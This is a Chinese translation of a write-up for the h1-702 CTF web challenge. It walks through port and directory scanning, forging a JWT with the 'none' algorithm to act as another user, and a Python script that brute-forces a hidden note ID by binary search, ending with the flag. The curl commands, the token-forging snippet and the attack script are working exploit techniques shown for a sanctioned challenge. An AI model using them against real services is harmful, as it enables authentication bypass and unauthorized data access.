h1–702 CTF — Web挑战Write Up
原文链接:https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce
当你打开挑战链接时会看到以下内容:
可以在挑战网站上找到提示:http://159.203.178.9/
用浏览器打开网站,你会看到一个常规的HTML欢迎页面:
看上去有一个秘密服务用来存储笔记。标题说明它与RPC有关。
考虑到去年的题目,我认为它可能被藏在80之外的端口上。于是做了个基本的nmap端口扫描:
nmap -sT 159.203.178.9 -p1-65535
没想到,只有80和22端口打开着。
试过几个涌现在脑海的目录后,比如/xmlrpc.php、/notes、/rpc等,我放弃了并决定直接暴力**。
我使用工具dirsearch并拿Jason Haddix的content_discovery_all.txt作为字典:
python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php'
过了几分钟。扫描结束了,我得到两个结果!
- /README.html
- /rpc.php
来看看这些uri都有些什么。
深挖
README页面的标题显示“Notes RPC Documentation”。该页面说:
This service provides a way to securely store notes. It’ll give them the ability to retrieve them at a later point. The service will return random keys associated with the notes. There’s no way to retrieve a note once the key has been destroyed. The RPC interface is exposed through the
/rpc.php
file. A call can be invoked through themethod
parameter. Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created.Authenticating to the service can be done through the
Authorization
header. When provided a valid JWT, the service will authenticate the user and allow to query metadata, retrieve a note, create new notes, and delete all notes.(翻译)
本服务保证笔记的安全存储。它会让笔记在后续可被读取。服务将返回与笔记相关联的随机**。一旦**被销毁,就无法读取笔记。 RPC接口暴露在/rpc.php
文件,可以通过method
参数调用。每个笔记都存储在一个安全文件中,文件由唯一键、笔记和创建笔记的纪元时间组成。服务通过
Authorization
请求头对用户进行身份验证。当提供有效的JWT时,该服务将对用户进行身份验证,并允许查询元数据、读取笔记、创建新笔记以及删除所有笔记的操作。
该服务需要有效的JWT(JSON Web令牌)才能执行身份验证。我们可以在服务中做以下操作:
- 查询所有笔记的元数据
- 读取笔记
- 创建一个新笔记
- 删除所有笔记
其他没什么好看的。在标题“Versioning”下面提到了以下内容:
The service is being optimized continuously. A version number can be provided in the
Accept
header of the request. At this time, onlyapplication/notes.api.v1+json
is supported.(翻译)
该服务正在不断优化。通过请求的Accept
标头中可以获得版本号。目前,仅支持application/notes.api.v1+json
的类型。
似乎没必要指出只允许JWT v1,有点奇怪。但是现在我要尝试理解API的工作原理了。
createNote()
我尝试用cURL来创建笔记:
curl 'http://159.203.178.9/rpc.php?method=createNote'
-H 'Content-Type: application/json'
-H 'Authorization:eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
响应如下:
{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}
不出意料,文档中也提到“如果没有指定ID,将填充16位随机数”。如果我们指定任意ID会发生什么?
curl 'http://159.203.178.9/rpc.php?method=createNote'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"id":"test", "note": "This is my note"}'
这次响应变成:
{"url":"\/rpc.php?method=getNote&id=test"}
nice!我们自己选择ID。
getNote()
如果你用getNote()访问同一笔记,会得到什么呢?
curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6'
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
响应如下:
{"note":"This is my note","epoch":"1530279830"}
nice!但epoch
的值又是什么呢?看上去像笔记创建时的时间戳,我使用date -r
很快验证了这一想法。
getNotesMetaData()
再来试试访问笔记的元数据:
curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
得到如下响应:
{"count":1,"epochs":["1530279830"]}
看上去count
代表笔记的数量,epochs
是已存在笔记的epoch数组。
我们来创建更多的笔记看会发生什么,我重放了多次createNote()请求并查询了元数据:
{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}
就像我猜的,数量增加了,笔记时间的顺序也是单调递增。最后添加的epoch排在数组的末尾。
再来试试重置笔记。
curl 'http://159.203.178.9/rpc.php?method=resetNotes'
-H 'Content-Type: application/json'
-H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
对应的响应:
{"reset": true}
没啥亮点。只是为了确认,我检查了元数据,果然,我创建的所有笔记现在都消失了。
所以我们已经测试了服务中的所有方法,然后呢?让我们看看是否可以打破它。
我尝试更改Content-Types
、完全删除Authorization
头、重放请求并保持请求头长度不变但只改一个字符等办法,但都没有效果 - 它响应{"authorization":"is invalid"}
或{"authorization":"is missing"}
。还是别侥幸了。
重新挖掘
我打开Burp并测试了各种方法来产生异常,但看不出任何异常或奇怪的东西。貌似我错过了本题很重要的线索。虽然应用程序本身很小,但我可能忽略了什么东西。根据大学时期的在线挖洞经验,我偶然查看了README.html的源代码,并按Ctrl + F查找<!--'
看是否有隐藏的注解。哈!果然有东西。
隐藏在明文中…但却看不见。我应该早点看到这个,但迟到总比没有好。这表明我最初对API版本描述的怀疑是正确的——API v2有不一样的地方。它们使用“优化的文件格式,在保存之前根据其唯一键值对笔记进行排序”。我google了一下,看看是否有这样的文件格式。在我的一次搜索中,我找到了Amazon RedShift:
Amazon Redshift stores your data on disk in sorted order according to the sort key.
(翻译)
Amazon Redshift依据排序键对你的数据排序并存储入硬盘。
我后来意识到思路不对。为什么不直接用Fiddler抓包查看API v2?
我重复了之前的过程:
- 创建笔记会得到一个包含
id
参数的url - 获取笔记内容会得到笔记(笔记内容)和
epoch
(时间戳)。 - 获取笔记的元数据的响应似乎没变。
- 重置笔记,将所有内容重置为初始状态。
一切似乎与v1相同。但是他们已经提到v2正在使用一些花哨的排序功能——那么测试一下。文档中说该方法“在保存之前根据其唯一键对笔记进行排序”。好吧,每个笔记都有两个参数——笔记的ID(可以自己指定)和笔记内容。这里的唯一键是笔记ID,这是符合逻辑。让我们尝试用随机ID创建更多笔记,看看我们是否能找到一些东西。
看样子要做好多手工工作,我讨厌一遍又一遍地重复相同的事情——更改ID等等。我是自动化的忠实粉丝,用脚本可以做得更好。所以我使用requests库和内置的json库快速写了一个Python脚本。
它看起来像这样:
#!/usr/bin/env python3
import json
import requests as rq
from base64 import b64decode
def rpc(method, data=None, post=False):
headers = {
'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
'Content-Type': 'application/json',
'Accept': 'application/notes.api.v1+json',
}
url = 'http://159.203.178.9/rpc.php?method={}'.format(method)
if data:
data = json.dumps(data)
if post:
# POST with params
headers['Content-Length'] = str(len(data))
return rq.post(url, headers=headers, data=data)
else:
# GET with params
return rq.get(url, params=json.loads(data), headers=headers)
elif post:
# POST without params
return rq.post(url, headers=headers)
# GET request without params
return rq.get(url, headers=headers)
def get_note(ident):
r = rpc('getNote', data={'id': ident})
print(r.text)
if r.status_code == 200:
return r.json()['note']
def epochs():
r = rpc('getNotesMetadata')
if r.status_code == 200:
return r.json()['epochs']
return None
def reset():
r = rpc('resetNotes', post=True)
if r.status_code == 200:
return r.json()['reset']
return None
def create(ident, note='a'):
r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
if r.status_code == 400:
return False
elif r.status_code == 201:
return True
return None
其实是对API函数做封装。现在,我们可以更轻松地与RPC轻松交互:
- create(id)将创建具有指定ID的笔记。
- epochs()会给你一个时间戳列表
- reset()将重置笔记并恢复初始状态。
现在从刚才停下的地方开始——随机ID创建笔记。我们用字母表作为ID创建一些笔记:
def main():
reset()
for i in 'abcdefghijklmnopqrstuvwxyz':
create(i)
print(epochs())
sleep(1)
if __name__ == '__main__':
main()
响应结果如下:
['1530286994']
['1530286994', '1530286996']
['1530286994', '1530286996', '1530286998']
['1530286994', '1530286996', '1530286998', '1530287000']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']
... so on ...
和之前一样,最后创建的笔记添加在数组末尾。我用其他随机字符串、数字等继续测试一段时间。毫无头绪!
我开始思考这道题的意图。显然其他人做这道题,但我能够创建仅与我的会话相关的独特笔记。
如果用户身份验证是基于某些请求头,我可能会伪造一些请求头来规避验证。我尝试过Host
,X-Forwarded-Host
,但无济于事。经过一些尝试,我得出结论,这可能是基于IP的身份验证。
我觉得是时候回退,看看是否错过了一些重要的东西(我经常这样做)。我再次阅读文档,这次更仔细。关于JWT的部分引起了我的注意,我没有过多探索那条路线。
关注JWT
那什么是JWT?直接引用jwt.io的话(谢谢Auth0建立这个神器的网站):
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
(翻译)
JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以JSON对象的形式安全地传输信息。此信息可以通过数字签名进行验证和信任。 JWT可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。
来自*的解释:
JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this:
(翻译)
JWT通常有三个部分:头,有效负载和签名。标头记录用于生成签名的算法,看起来像这样:
header = '{"alg":"HS256","typ":"JWT"}'
让我们回过头查看JWTAuthorization
头。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
这就是我们的JWT(为了易读性做了换行)。第一部分是头,第二部分是有效负载,第三部分是签名。 签名计算方式如下:
key = 'secretkey'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
既然已知头、负载是base64编码的,我们马上得到实际值:
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}
同样操作:
$ echo 'eyJpZCI6Mn0=' | base64 -D
{"id":2}
可以看到那里有一个ID!我认为可以假设它是用户ID,那么一直以来,我们一直在创建/查看/重置用户ID 2的注释。
(注意,我将填充=
添加到上面的base64字符串。虽然根据RFC 7515,填充在JWT中是可选的,但在解码时,还是要提供填充以便返回正确的字符串表示。)
我们可以使用jwt.io提供的调试器来代替人工操作。
我们可以尝试将ID改成别的,例如id=1。
但是有一个问题。服务器要验证签名。我们需要对载荷{"id": 2}
签名。为此,我们需要用于创建签名的**,但却不知道。
在某些情况下**用弱密码签名的JWT是可能的。我花了一些时间来**JWT。没有用,所以我开始寻找与JWT相关的漏洞。
有趣的是,我发现了一个none
算法。它被用在已经验证过Token完整性的情况。它和HS256是必须实现的两种算法。
如果服务器的JWT实现是:所有验证过签名的Token在使用none算法后为有效令牌,我们就可以使用任意负载创建自己的“签名”令牌。
创建这样的令牌非常简单:
- 将标题更改为
{"alg": "none"}
,而不是HS256。 - 将有效负载更改为
{"id": 1}
- 设置空签名
''
让我们使用可用的JWT模块做这事(我使用的是PyJWT):
In [1]: import jwt
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none')
In [3]: encoded
Out[3]: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'
现在我们有了JWT,就可以在用户id为1的会话下创建笔记;我们要做的就是将Authorization标头更改为这个新制作的JWT。
我首先像以前一样使用小写字母进行测试,结果一样——它不断将新笔记的时间戳添加到数组末尾。如果我尝试使用大写字母呢?
['1528911533'] # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G
1530295860
出现的形式不同(特别是在插入F之后)。它没有被插入到最后。好吧,怎么可能?!
突破
经过一番思考后,我惊奇地发现这些笔记是按字典顺序排列的!
假设笔记的ID为bar
。然后,如果我们添加的新笔记ID的字典顺序<
(读作:小于)bar
(例如abc
),它将被插入到bar
之前的位置;如果它是的字典顺序>
bar
(例如zap
),它将在bar
之后插入。
所以在作比较时有某种特殊的排序功能。我们开始深入了解。好吧,我们可以查看源代码,看看它是如何工作的,但我们只是凡人—— 我们无法访问源代码(Frans Rosen正在看着你)。因此,我插入更多的随机笔记(不算非常随机,我挑选了些可以让我深入了解排序功能的样本)。
我检查了各种字母序列的顺序(好吧,我写了一个小脚本),并得到以下输出:
['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']
<secret>
是保存秘密记录的ID。一开始我没看明白,但如果忽略第一个的首字母,那一切看起来就很正常一致了。如果我不忽略第一个字母,由于某种原因,1和9就在右边那边。
通过深入测试,我得到以下结论:
ab < abc < ac
ab < abc
a9b < 0z
a < aa
aa < aaa
- 等等…
从技术上来说,这并不是排序算法的一个小bug,我相信H1的邪恶人士想要让题目变得更难,所以他们可能会加入这种“混淆”。
如果我们要重构服务中使用的比较功能,我们可以这样写:
letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters
# 1 if a > b
# 0 if a = b
# -1 if a < b
def compare(string_a, string_b):
global letters
for i, (a, b) in enumerate(zip(string_a, string_b)):
if i == 0:
alpha = '0123456789' + letters
else:
alpha = letters + '0123456789'
a_ind, b_ind = alpha.index(a), alpha.index(b)
if a_ind < b_ind:
return -1
elif a_ind > b_ind:
return 1
if len(a) < len(b):
return -1
elif len(a) > len(b):
return 1
return 0
好的。现在我们知道键值是如何比较了,可以开始寻找键值(ID)了。
暴力**
我们从文档中了解到一些:
- ID必须匹配该正则表达式
[a-zA-Z0-9] +
。 - ID可以超过16个字节。
一种简单的方法是尝试每一个可能的键。这需要花费很多时间和请求。
我们总结一下:
- 我们需要创建自定义ID的新笔记,并推断我们的秘密笔记是在它之前还是之后。
- 我们只能使用比较运算符。
- 搜索空间已知——
[a-zA-Z0-9] +
。
这不就是二分查找!从现在开始,它变得非常简单。我们只需要脚本化地暴力**,并引入二分查找。
我的脚本(brute_secret_note.py
)像这样:
#!/usr/bin/env python3
import json
from base64 import b64decode
import requests as rq
def rpc(method, data=None, post=False):
headers = {
'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
'Content-Type': 'application/json',
'Accept': 'application/notes.api.v2+json',
}
url = 'http://159.203.178.9/rpc.php?method={}'.format(method)
if data:
data = json.dumps(data)
if post:
# POST with params
headers['Content-Length'] = str(len(data))
return rq.post(url, headers=headers, data=data)
else:
# GET with params
return rq.get(url, params=json.loads(data), headers=headers)
elif post:
# POST without params
return rq.post(url, headers=headers)
# GET request without params
return rq.get(url, headers=headers)
def get_note(ident):
r = rpc('getNote', data={'id': ident})
if r.status_code == 200:
return r.json()['note']
def epochs():
r = rpc('getNotesMetadata')
if r.status_code == 200:
return r.json()['epochs']
return None
def reset():
r = rpc('resetNotes', post=True)
if r.status_code == 200:
return r.json()['reset']
return None
def create(ident, note='a'):
r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
if r.status_code == 400:
return False
elif r.status_code == 201:
return True
return None
def where(a, b):
for i, (x, y) in enumerate(zip(a, b)):
if x != y:
return i
return min(len(a), len(b))
def search(head, secret=0):
if head is '':
alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
else:
alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
i_min, i_max = 0, len(alpha) - 1
old_epochs = epochs()
tries = []
while i_min + 1 != i_max:
print('Search space: ', end='')
for i, c in enumerate(alpha):
print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
print('\x1B[0m')
i = (i_max + i_min) // 2
print('Trying', head + alpha[i])
r = create(head + alpha[i])
new_epochs = epochs()
ind = where(old_epochs, new_epochs)
old_epochs = new_epochs
if r is None:
print('Something has gone terribly wrong.')
exit(1)
elif r is False:
secret_note_id = head + alpha[i]
return secret_note_id
if ind <= secret:
secret += 1
i_min = i
elif ind > secret:
i_max = i
return search(head + alpha[i_min], secret)
reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))
encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found ????????????: {}'.format(decoded_flag))
运行脚本:
python3 brute_secret_note.py
工作原理
search()是这里最重要的函数。将search()想象为只查找最后一个字母更容易理解,然后让它调用自己。第一个if语句的存在是因为第一个字母的排序与其余字母的排序不同。对于第一个字母,'0'>'z'
,但对于其余的字母,'0'
是可能的最小字母。
它是挨个字母比较的,然后下一个,依此类推。它首先检查第一个字母,然后检查下一个字母等。例如:'abc'>'abb'>'aac'
。
alpha
只是按顺序排列的字母数组。 i_min
和i_max
是我们正在查看的字母表中的边界。
首先,所有字母都在考察范围内。i_min
为0,i_max
是最后一个字母。使用二分搜索,把第一个字母放在范围中间。 (i_min + i_max)// 2
用于查找此中间值。然后我添加头部(最初是一个空字符串)和找到的字符以形成一个笔记ID并创建一个带有该ID的注释。
search()函数的最后一部分设置了下一次迭代的边界。当createNote()返回false时,意味着我们已到达结尾,因此返回它。
一旦我们找到了秘密ID,我们用该ID调用getNote(),对它进行base64解码,然后我们得到了这个flag:
702-CTF-FLAG:NP26nDOI6H5ASemAOW6g
脚本运行动画
上一篇: BUU CTF web(三)